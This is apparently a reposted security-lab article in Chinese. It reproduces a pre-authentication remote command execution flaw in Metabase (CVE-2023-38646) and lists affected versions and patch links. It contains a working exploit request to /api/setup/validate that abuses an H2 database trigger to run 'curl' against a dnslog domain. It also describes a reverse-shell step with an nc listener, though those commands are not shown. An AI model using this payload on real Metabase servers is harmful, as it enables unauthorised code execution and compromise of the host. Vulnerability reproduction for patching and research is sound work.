网安引领时代，弥天点亮未来
Metabase是美国Metabase公司的一个开源数据分析平台。Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。
Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞，该漏洞源于允许攻击者以服务器的权限级别在服务器上执行任意命令。
Metabase open source >= 0.46.6.1
Metabase Enterprise >= 1.46.6.1
Metabase open source >= v0.45.4.1
Metabase Enterprise >= v1.45.4.1
Metabase open source >= v0.44.7.1
Metabase Enterprise >= v1.44.7.1
Metabase open source >= v0.43.7.2
Metabase Enterprise >= v1.43.7.2
1.访问漏洞环境
2.对漏洞进行复现
Poc1 （GET）
GET /api/session/properties HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonContent-Length: 812
GET请求，响应存在漏洞
前端显示
DNSlog生成测试域名
POST请求，响应存在漏洞，dnslog域名测试
POST /api/setup/validate HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonContent-Length: 812{"token": "a50eb257-e56c-4dd8-b4ba-e67d7bc59261","details":{"is_on_demand": false,"is_full_sync": false,"is_sample": false,"cache_ttl": null,"refingerprint": false,"auto_run_queries": true,"schedules":{},"details":{"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascriptnjava.lang.Runtime.getRuntime().exec('curl r67caj.dnslog.cn')n$$--=x","advanced-options": false,"ssl": true},"name": "an-sec-research-team","engine": "h2"}}
3.反弹shell操作
nc监听，反弹shell
参考
4.x-poc测试（漏洞存在）
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
https://www.metabase.com/blog/security-advisoryhttps://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
弥天简介
学海浩茫，予以风动，必降弥天之润！弥天弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
口号 网安引领时代，弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫，
弥 天
安全实验室
原文始发于微信公众号（弥天安全实验室）：Metabase 远程命令执行漏洞(CVE-2023-38646)【反弹shell】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论